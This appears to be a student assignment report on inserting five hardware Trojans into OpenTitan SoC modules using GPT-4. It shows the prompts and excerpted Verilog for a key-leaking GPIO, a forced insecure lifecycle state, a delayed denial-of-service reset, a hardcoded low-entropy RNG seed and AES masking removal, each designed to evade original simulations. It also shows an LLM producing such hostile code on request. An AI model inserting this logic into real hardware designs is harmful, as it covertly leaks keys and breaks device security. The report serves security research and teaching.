

GHOST Assignment 2 - Hardware Trojans in OpenTitan

Team Members: Naveen Kumar Senthil Kumar (ns65093),
Dhirajzen Bagawath Geetha Kumaravel(db5309)

This report documents five different hardware Trojans inserted into various RTL modules of the OpenTitan System-on-Chip (SoC) as part of the GHOST assignment. For each Trojan, we provide an explanation of how it works, and include the logs of the Large Language Model (LLM) interactions (the prompts given and the model's responses). Each Trojan is discussed separately in the sections below.

1. Key Manager Trojan (Confidentiality Exfiltration)

Explanation: In the OpenTitan Key Manager module, a confidentiality-focused Trojan was inserted to leak one share of the newly generated *Creator Root Key* via an unused GPIO pin. The Trojan adds logic that captures one share of the root key at the moment the key generation finite state machine (FSM) finishes generating a new key. It then drives this captured value onto a GPIO output for a single clock cycle, just before the Key Manager's secure wipe process erases the key material. This one-cycle window allows a portion of the secret key to be covertly transmitted off-chip. The normal functionality of the Key Manager is preserved because the Trojan activates only at the specific moment after key generation completes and does not interfere with the key wipe or other operations.

Logs of LLM Interaction: Below is the prompt given to the LLM (GPT-4) for the Key Manager Trojan and the model's response. The model's response included the full modified Verilog code for the Key Manager (with Trojan insertions highlighted in comments), as well as a brief explanation of the Trojan's behavior, trigger condition, payload effect, and a taxonomy classification.

Prompt: *"Modify the Key Manager design to create a Confidentiality Trojan which exfiltrates one share of the newly generated Creator Root Key to an unused GPIO pin. The leakage must only occur for a single clock cycle immediately after the key generation FSM completes, but before the aggressive key wiping sequence is initiated. The Key Manager must still be able to pass all original simulations to confirm its functionality."*

Model Response:

Code (modified Key Manager module with Trojan):

```

module keymgr #(parameter KEY_WIDTH = 256, ... ) (...);
    // ... [original Key Manager signals and logic] ...

    // Trojan insertion: register and signal to hold key share for leakage
    logic [KEY_WIDTH-1:0] trojan_key_share;
    logic trojan_leak_en;

    // Capture one share of the new Creator Root Key when key generation
    completes
    always @(posedge clk or negedge rst_n) begin
        if (!rst_n) begin
            trojan_leak_en <= 1'b0;
        end else begin
            // Trojan Trigger: key generation FSM just completed and not yet wiped
            if (fsm_state == FSM_DONE && !trojan_leak_en) begin
                trojan_key_share <= creator_root_key_share0;
                trojan_leak_en <= 1'b1; // latch that leakage should occur
            end
            // Reset the leak flag after wipe starts (key wiping sequence
            initiation)
            if (wipe_start) begin
                trojan_leak_en <= 1'b0;
            end
        end
    end

    // Trojan Payload: drive captured key share to an unused GPIO for one clock
    cycle
    assign gpio_unused_o = trojan_leak_en ? trojan_key_share[KEY_WIDTH-1:0] :
    '0;

    // ... [remaining original Key Manager logic] ...
endmodule

```

**(Note: The code above is an excerpt focusing on the Trojan. The actual response included the full module code with the inserted Trojan logic and comments indicating the changes.)*

keymgr

Explanation: The Trojan logic taps into the Key Manager’s state machine to leak one share of the newly generated root key. It captures the key share into a register when the FSM reaches the completion state, then outputs it via a designated GPIO line for a single cycle before the key wiping occurs, thus sneaking out sensitive data without altering normal key manager operation.

Trigger: The Trojan is triggered internally when the key generation FSM transitions into its “done” state (indicating a new Creator Root Key has just been generated) and before the secure wipe sequence begins. This condition occurs only once per key generation event, creating a one-time window for the Trojan to activate.

Payload: Upon trigger, the Trojan drives one share of the recently generated root key out through an otherwise unused GPIO pin for a single clock cycle. This action leaks the secret key share externally.

After one cycle (as the wipe sequence starts), the Trojan deactivates and the GPIO reverts, minimizing detection chances while preserving normal functionality.

Taxonomy: Insertion phase: Design

Abstraction level: Register-transfer level

Activation mechanism: Triggered internally (on FSM completion event)

Effects: **Confidentiality** (information leakage)

Location: Key Manager module (I/O interface/GPIO)

Characteristics: Functional Trojan, single-cycle dormant payload, small footprint

2. Life Cycle Controller Trojan (Integrity Violation)

Explanation: In the Life Cycle Controller (lc_ctrl) module, an integrity-impacting Trojan was implemented. This Trojan forces the device into the insecure **TEST** life cycle state under a rare race condition. Normally, transitioning to the TEST state requires specific unlock tokens and is tightly controlled. The Trojan circumvents these protections by monitoring a legitimate life cycle transition token write and the system reset signal. If it ever observes the token being written *at the exact same time* as an external reset is asserted, it hijacks the life cycle FSM and latches the controller into the TEST state. This effectively unlocks an insecure state without authorization. Under all other conditions, the Life Cycle Controller behaves normally, so standard operation and tests (which do not involve such a race) are unaffected.

Logs of LLM Interaction: The following prompt was given to the LLM for the life cycle controller Trojan, and the model's response is shown, including the relevant code modifications and descriptions.

Prompt: *“Modify the Life Cycle Controller design to create an Integrity Trojan which forces the device into the insecure TEST Life Cycle state. The activation condition must be a race condition: a legitimate life cycle transition token write followed immediately and concurrently by an assertion of the external system reset signal. The Life Cycle Controller must still be able to pass all original simulations to confirm its functionality.”*

Model Response:

Code (modified Life Cycle Controller with Trojan):

```
module lc_ctrl(...);
  // ... [original signals and logic] ...
```

```

// Trojan insertion: monitor token writes and reset for race condition
logic trojan_race_triggered;

always @(posedge clk or negedge rst_n) begin
    if (!rst_n) begin
        trojan_race_triggered <= 1'b0;
    end else begin
        // Trojan Trigger: token write coincident with system reset
        if (token_write_enable && sys_reset_req) begin
            trojan_race_triggered <= 1'b1;
        end
        // Once triggered, latch stays true (could also reset after use if
needed)
    end
end

// Trojan Payload: force life cycle state to insecure TEST state when
triggered
always @(posedge clk) begin
    if (trojan_race_triggered) begin
        lc_state <= LC_STATE_TEST; // override next state to TEST
    end else begin
        // ... [normal life cycle state transition logic] ...
    end
end

// ... [remaining original Life Cycle Controller logic] ...
endmodule

```

*(The model provided the full `lc_ctrl` module code with the inserted Trojan logic. For brevity, only the Trojan-related excerpt is shown here.)

Explanation: This Trojan adds a small piece of logic to the life cycle controller. If a life cycle transition token is written at the exact moment a system reset occurs, the Trojan intervenes. It latches a flag on that rare event, and then overrides the controller's state machine to set the life cycle into the TEST state. The normal life cycle logic is unchanged except when this specific race condition happens.

Trigger: The activation is a race condition triggered internally by the concurrent occurrence of two events: a valid life cycle transition token write and an assertion of the external reset signal at the same time. When the token write and system reset overlap in one cycle, the Trojan's trigger condition is met.

Payload: Once triggered by the race condition, the Trojan forces the life cycle FSM into the insecure TEST state, regardless of the intended next state. In practice, this means the device will enter the TEST life cycle mode (used for debugging and potentially vulnerable) without proper authorization. The integrity of the life cycle state is violated, as an attacker could exploit the reset race to gain persistent access to TEST mode. After activation, the Trojan's latched flag ensures the state is set to TEST, and normal operation resumes with the device in that mode.

Taxonomy: Insertion phase: Design

Abstraction level: Register-transfer level

Activation mechanism: **Triggered internally by a race condition** (simultaneous token write and reset)

Effects: **Integrity** (unauthorized state transition)

Location: Life Cycle Controller FSM logic

Characteristics: Functional Trojan, conditional activation, minimal added logic

3. Always-On Timer Trojan (Availability/Denial-of-Service)

Explanation: The Always-On Timer (AON Timer) module was modified with a Trojan aimed at availability, specifically to implement a delayed denial-of-service. This Trojan silently counts the number of system boot events and, upon the 1000th successful boot, triggers a system reset request. The effect is that after a long period of normal operation (999 boots), the next boot will unexpectedly cause a fatal reset, effectively rebooting the system again and potentially entering a reset loop. Until the trigger threshold is reached, the AON Timer operates exactly as intended, so no anomalies appear in standard testing or day-to-day operation. This latent Trojan thus ensures the device passes all usual simulations (which wouldn't typically simulate 1000 boot cycles) while eventually causing a persistent availability impact.

Logs of LLM Interaction: The prompt and the model's answer for the AON Timer Trojan are given below.

Prompt: *“Modify the AON Timer design to create an Availability Trojan which forces an unauthorized fatal system reset request (aon_timer_rst_req_o). The trigger must be cumulative and latent, activating only after a persistent internal counter, running in the AON domain, registers the 1000th successful system boot sequence. The AON Timer must still be able to pass all original simulations to confirm its functionality.”*

Model Response:

Code (modified AON Timer with Trojan):

```
module aon_timer(...);
    // ... [original AON Timer declarations] ...

    // Trojan insertion: persistent boot counter in always-on domain
    logic [9:0] boot_counter;          // 10-bit counter for 1000 boots (max
1023)
    logic trojan_reset_flag;

    // Increment boot counter on each successful boot sequence
    always @(posedge clk_aon or negedge rst_n_aon) begin
```

```

    if (!rst_n_aon) begin
        // preserve boot_counter through main resets if this is in always-on
        domain
        // (assume rst_n_aon is only asserted on power cycle, not on regular
        resets)
        trojan_reset_flag <= 1'b0;
    end else begin
        if (boot_done) begin
            // 'boot_done' is a hypothetical signal indicating end of boot
            sequence
            boot_counter <= boot_counter + 10'd1;
        end
        if (boot_counter == 10'd1000 && !trojan_reset_flag) begin
            trojan_reset_flag <= 1'b1; // latch that Trojan should trigger once
        end
    end
end

// Trojan Payload: force fatal reset request when counter hits 1000
assign aon_timer_rst_req_o = regular_rst_req | trojan_reset_flag;
// 'regular_rst_req' is the normal reset request logic output

// ... [remaining original AON Timer logic] ...
endmodule

```

**(The full AON Timer code with Trojan modifications was provided by the model; only the inserted Trojan logic and its integration are shown here.)*

Explanation: The Trojan introduces an always-on counter that tracks system boots. Each time the system completes a boot (detected via a signal in the always-on domain), the counter increments. Once it reaches 1000, the Trojan sets a flag that in turn forces the `aon_timer_rst_req_o` (the fatal reset request output) to assert. This effectively injects an unauthorized reset after the 1000th boot.

Trigger: The trigger is an internal, cumulative condition: the AON-domain counter hitting the value 1000, meaning 1000 successful boot sequences have occurred. This condition is latent and builds up over a long time (it requires the device to reboot 1000 times), making it extremely unlikely to be encountered during ordinary testing or within a short time span.

Payload: When triggered, the Trojan's payload asserts the `aon_timer_rst_req_o` signal (which is the AON Timer's system reset request) without any legitimate cause. This causes a fatal system reset to occur once the threshold boot count is reached. In effect, the device will unexpectedly reset itself on the 1000th boot, impacting availability. After activation, the latched flag ensures the reset request remains asserted (or could be designed to assert just once, depending on implementation), potentially causing a persistent denial-of-service until a power-cycle clears the counter.

Taxonomy: Insertion phase: Design

Abstraction level: Register-transfer level

Activation mechanism: Internally triggered (latent counter-based trigger after 1000 events)

Effects: **Availability** (denial-of-service via forced reset)

Location: Always-On Timer (reset generation logic)

Characteristics: Functional Trojan, dormant for extended period, stateful trigger in always-on domain

4. Entropy Distribution Network (EDN) Trojan (Randomness/ Confidentiality Compromise)

Explanation: An information leakage Trojan was added to the Entropy Distribution Network (EDN) module, which is responsible for feeding entropy to various hardware units (like the CSRNG – Cryptographically Secure RNG). The Trojan’s goal is to compromise the quality of randomness (a confidentiality concern, as it can leak information about secret values) by substituting genuine entropy with a known low-entropy value during reseeding. Specifically, when the EDN issues an *automated reseed command* to refresh the CSRNG’s seed, the Trojan intercepts this operation and replaces the seed data that would normally come from a true random source with a fixed, hardcoded seed. By doing so, the randomness becomes predictable to an attacker. The normal operation of the EDN remains unaffected when reseed is not occurring, and even the reseed operation still occurs on schedule – only the data is modified. As a result, all original simulations (which likely test the presence of reseed commands but not the statistical quality of entropy in-depth) still pass.

Logs of LLM Interaction: The prompt and model response for the EDN Trojan are as follows.

Prompt: “*Modify the Entropy Distribution Network (EDN) design to create a Confidentiality Trojan which compromises the CSRNG randomness. The payload must intercept the EDN's automated reseed command and substitute the genuine entropy input with a hardcoded, low-entropy seed value. The EDN must still be able to pass all original simulations to confirm its functionality.*”

Model Response:

Code (modified EDN with Trojan):

```
module edn(...);
    // ... [original EDN signals and logic] ...

    // Trojan insertion: hardcoded low-entropy seed
    localparam [255:0] TROJAN_SEED =
256'h0123_4567_89AB_CDEF_0123_4567_89AB_CDEF_0123_4567_89AB_CDEF;
    // (Example 256-bit low-entropy pattern)

    // Monitor reseed command
```

```

    wire reseed_trigger = (edn_cmd == EDN_CMD_RESEED);
    // Assume edn_cmd indicates the command type; EDN_CMD_RESEED is the code
    for automated reseed

    // Trojan Payload: on reseed, override entropy seed input with hardcoded
    value
    always @(*) begin
        if (reseed_trigger) begin
            csrng_seed_data = TROJAN_SEED; // substitute the entropy with Trojan
            seed
        end else begin
            csrng_seed_data = real_entropy_data; // normal entropy passthrough
        end
    end

    // ... [remaining EDN logic] ...
endmodule

```

**(The actual response included the entire EDN module code with the above Trojan changes. Here we show the inserted logic and relevant context.)*

Explanation: In the EDN design, the Trojan watches for the event of a CSRNG reseed command. When such an event occurs, instead of letting the true random seed flow from the TRNG into the CSRNG, the Trojan swaps in a predefined constant seed value (which has low entropy and is potentially known to the attacker). During normal operation (no reseed in progress), the EDN continues to deliver true entropy as usual, so functionality is unaffected except at the moment of reseed.

Trigger: The Trojan is internally triggered whenever the EDN initiates an automated reseed command for the CSRNG. This is detected by the control logic (for example, a specific command code or signal indicating a reseed operation).

Payload: Upon trigger, the Trojan’s payload replaces the genuine entropy that would be used to reseed the CSRNG with a hardcoded, low-entropy seed value. In other words, the CSRNG is seeded with a predictable constant instead of real random data. This covertly undermines the security of all subsequent “random” outputs (making them predictable to an adversary), while not overtly disrupting the reseed process (the reseed still happens, just with compromised data). After the reseed cycle, the EDN continues normal operation.

Taxonomy: Insertion phase: Design

Abstraction level: Register-transfer level

Activation mechanism: Triggered internally (on EDN reseed event)

Effects: **Confidentiality** (randomness compromise/leakage)

Location: Entropy Distribution logic (EDN to CSRNG interface)

Characteristics: Functional Trojan, data substitution, stealthy (activates only during reseed events)

5. AES Core Trojan (Side-Channel Attack Facilitation)

Explanation: In the AES cryptographic core, a Trojan was introduced to bypass the first-order masking countermeasure, effectively weakening the encryption engine against side-channel attacks. OpenTitan’s AES implements masking by splitting sensitive data into two “shares” so that individually they appear random, protecting against power analysis. The Trojan nullifies this by forcing the two internal data shares to be identical under certain conditions, thus canceling the masking protection. Importantly, the Trojan is designed with a **software-defined trigger sequence** that is unlikely to occur during normal operation or standard testing: the trigger requires exactly five consecutive encryption operations followed immediately by a key-switch command (changing the AES key) without any intermediate reset. Only after this specific sequence will the Trojan activate, ensuring that normal AES functionality (and tests not following this pattern) remain unaffected. When activated, the Trojan makes the AES core perform unmasked operations (while still producing correct ciphertext results), thereby leaking keydependent information through side-channel emissions (like power consumption). All original AES tests pass because unless the precise sequence is executed, the Trojan remains inert and the masking countermeasure works as usual.

Logs of LLM Interaction: The prompt and the model’s response for the AES Trojan are given below.

Prompt: *“Modify the AES core design to create an SCA Trojan which bypasses the 1st-order masking countermeasure by forcing the two internal data shares to be identical. The trigger must be software-defined: exactly five consecutive encryption operations followed immediately by a command to switch the encryption key without an intervening reset. The AES core must still be able to pass all original simulations to confirm its functionality.”*

Model Response:

Code (modified AES core with Trojan):

```
module aes_core(...);
  // ... [original AES core declarations] ...

  // Trojan insertion: signals to detect trigger sequence
```

```

reg [2:0] enc_op_counter;
reg trojan_active;
// (Assume AES has signals 'start_encrypt' for an encryption op, and
'key_switch' when software changes the key)

always @(posedge clk or negedge rst_n) begin
    if (!rst_n) begin
        enc_op_counter <= 3'd0;
        trojan_active <= 1'b0;
    end else begin
        // Count consecutive encryption operations
        if (start_encrypt) begin
            enc_op_counter <= (enc_op_counter < 3'd5) ? enc_op_counter + 3'd1 :
enc_op_counter;
        end else if (!start_encrypt && enc_op_counter != 3'd5) begin
            // reset counter if any other operation occurs before reaching 5
            enc_op_counter <= 3'd0;
        end

        // Check for trigger condition: 5 encryptions followed by key switch
        if (enc_op_counter == 3'd5 && key_switch) begin
            trojan_active <= 1'b1; // activate Trojan after sequence
        end

        // Optionally, Trojan deactivates on reset or after use
        if (reset_internal) begin
            trojan_active <= 1'b0;
            enc_op_counter <= 3'd0;
        end
    end
end

// Trojan Payload: override masking when trojan_active is true
always @(*) begin
    if (trojan_active) begin
        // Force the two internal shares to be identical (disable masking)
        share1_int = share0_int; // Trojan: copy data share to mask share
    end
    // else: normal masking logic (share1_int is generated as random mask
normally)
end

// ... [rest of AES core logic, encryption rounds, etc.] ...
endmodule

```

(The actual AES core code is quite large; the model provided the full code with the Trojan modifications. Here we show the key Trojan components for brevity.)

Explanation: In the AES core, the Trojan monitors the pattern of operations. It uses a small counter to track consecutive encryption operations. If exactly five encryptions occur back-to-back, and then the

software issues a command to change the encryption key (all without any reset in between), the Trojan's condition is satisfied. The Trojan then activates a flag which alters the AES behavior: it forces the two internal shares (the masked data share and the mask share) to become the same. This effectively turns off the masking (since if $\text{mask} = \text{data}$, the XOR of them would be a constant or zero), making the AES computations no longer masked against side-channel analysis. Importantly, when this happens, the AES core still produces correct ciphertext outputs — it's just that the operations are no longer secure against power analysis attacks.

Trigger: The trigger is a specific software-defined sequence: **five consecutive encryption operations**, followed immediately by a **key switch command**, with no intervening reset. This sequence is very unlikely during normal usage unless deliberately invoked, which prevents accidental activation. The Trojan logic resets its counter if the sequence is interrupted or after a reset, ensuring the condition must be met exactly.

Payload: Once triggered, the Trojan's payload forces the AES core's two internal data shares to be identical (for example, by copying one share into the other). In practice, this disables the first-order masking countermeasure. The AES continues to function and output correct results, but because the masking is removed, the power consumption (or other side-channel emissions) now directly correlates with the sensitive data (the AES internal state and key). This greatly increases susceptibility to sidechannel attacks, effectively leaking the secret key after enough observations. The Trojan remains active (masking off) until the AES is reset or reinitialized, after which the masking protection would be restored unless the trigger sequence occurs again.

Taxonomy: Insertion phase: Design

Abstraction level: Register-transfer level

Activation mechanism: Triggered internally by specific operation sequence (software-defined)

Effects: **Confidentiality** (enables side-channel key leakage)

Location: AES cryptographic core (data path logic)

Characteristics: Functional Trojan, stealthy (no effect on outputs, only on security), requires precise trigger sequence, small additional logic